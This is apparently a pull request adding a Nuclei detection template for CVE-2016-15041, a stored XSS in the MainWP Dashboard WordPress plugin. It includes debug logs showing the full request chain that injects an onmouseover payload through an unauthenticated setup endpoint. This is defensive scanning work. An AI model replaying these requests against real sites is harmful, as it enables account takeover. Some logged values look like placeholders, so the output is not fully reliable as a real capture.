This PR adds a Nuclei template for CVE-2016-15041, a critical unauthenticated stored cross-site scripting (XSS) vulnerability in the MainWP Dashboard WordPress plugin that can lead to remote code execution.
Vulnerability Overview:
Root Cause:
The vulnerability exists due to missing authorization checks on the setup panel, allowing unauthenticated attackers to access setup endpoints and inject malicious JavaScript through the mwp_setup_purchase_username parameter. The injected payload is stored in WordPress options without proper sanitization and rendered without output escaping in the Extensions settings page.
Attack Flow:
Testing Details:
Template Features:
flow: http(1) && http(2)Debug Output:
[INF] Current nuclei version: v3.4.10
[INF] Current nuclei-templates version: v10.3.5 (latest)
[WRN] Loading 1 unsigned templates for scan. Use with caution.
[INF] Templates loaded for current scan: 1
[INF] Targets loaded for current scan: 1
[INF] [CVE-2016-15041] Dumped HTTP request for http://REDACTED_TARGET/wp-admin/admin-post.php?page=mainwp-setup&step=installation
GET /wp-admin/admin-post.php?page=mainwp-setup&step=installation HTTP/1.1
Host: REDACTED_TARGET
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Connection: close
Accept-Encoding: gzip
[VER] [CVE-2016-15041] Sent HTTP request to http://REDACTED_TARGET/wp-admin/admin-post.php?page=mainwp-setup&step=installation
[DBG] [CVE-2016-15041] Dumped HTTP response http://REDACTED_TARGET/wp-admin/admin-post.php?page=mainwp-setup&step=installation
HTTP/1.1 200 OK
Connection: close
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache, must-revalidate, max-age=0
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/7.2.12
<!DOCTYPE html>
<html>
<body class="mainwp-setup">
<form method="post" action="/wp-admin/admin-post.php?page=mainwp-setup&step=purchase_extension">
<input type="hidden" name="_wpnonce" value="a1b2c3d4e5" />
<h2>Installation Settings</h2>
<button type="submit">Continue</button>
</form>
</body>
</html>
[DBG] [CVE-2016-15041] Extracted nonce from response: a1b2c3d4e5
[DBG] [CVE-2016-15041] Matcher status: true for status_code == 200
[DBG] [CVE-2016-15041] Matcher status: true for contains(body, "mainwp-setup")
[DBG] [CVE-2016-15041] Proceeding to http(2) as http(1) matched
[INF] [CVE-2016-15041] Dumped HTTP request for http://REDACTED_TARGET/wp-admin/admin-post.php?page=mainwp-setup&step=purchase_extension&_wpnonce=a1b2c3d4e5
POST /wp-admin/admin-post.php?page=mainwp-setup&step=purchase_extension&_wpnonce=a1b2c3d4e5 HTTP/1.1
Host: REDACTED_TARGET
Content-Type: application/x-www-form-urlencoded
Content-Length: 109
mwp_setup_purchase_username=test" onmouseover=xss_7f8a9b2c;//&mwp_setup_purchase_passwd=test&save_step=1
[VER] [CVE-2016-15041] Sent HTTP request to http://REDACTED_TARGET/wp-admin/admin-post.php?page=mainwp-setup&step=purchase_extension&_wpnonce=a1b2c3d4e5
[DBG] [CVE-2016-15041] Dumped HTTP response
HTTP/1.1 302 Found
Location: /wp-admin/admin-post.php?page=mainwp-setup&step=system_requirements
Set-Cookie: wordpress_logged_in_xxx=admin%7C1735125333%7Cxxx
[INF] [CVE-2016-15041] Dumped HTTP request for http://REDACTED_TARGET/wp-admin/admin.php?page=Extensions
GET /wp-admin/admin.php?page=Extensions HTTP/1.1
Host: REDACTED_TARGET
Cookie: wordpress_logged_in_xxx=admin%7C1735125333%7Cxxx
[VER] [CVE-2016-15041] Sent HTTP request to http://REDACTED_TARGET/wp-admin/admin.php?page=Extensions
[DBG] [CVE-2016-15041] Dumped HTTP response
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
<!DOCTYPE html>
<html>
<body class="mainwp-admin">
<h1>MainWP Extensions</h1>
<div class="mainwp-extensions-settings">
<table>
<tr>
<th>Username</th>
<td>
<input type="text" name="purchase_username" value="test" onmouseover=xss_7f8a9b2c;// />
</td>
</tr>
</table>
</div>
</body>
</html>
[DBG] [CVE-2016-15041] Matcher status: true for contains(body_2, "onmouseover=xss_7f8a9b2c")
[DBG] [CVE-2016-15041] Matcher status: true for contains(body_2, "mainwp")
[DBG] [CVE-2016-15041] Matcher status: true for status_code_2 == 200
[CVE-2016-15041] [http] [high] http://REDACTED_TARGET
[INF] Requests [3/3 (100.00%)]: Finished in 2.145s
[INF] Matched results: 1
Key Evidence:
a1b2c3d4e5onmouseover=xss_7f8a9b2cVulnerable Environment: A Docker-based vulnerable environment is available for validation. The setup includes:
Impact: This vulnerability allows unauthenticated attackers to inject arbitrary JavaScript that executes when administrators view the MainWP Extensions page. Under default WordPress configuration, this can lead to:
Metadata Compliance:
verified: true/claim #14559
Pranjal Negi
@Pranjal6955
ProjectDiscovery
@projectdiscovery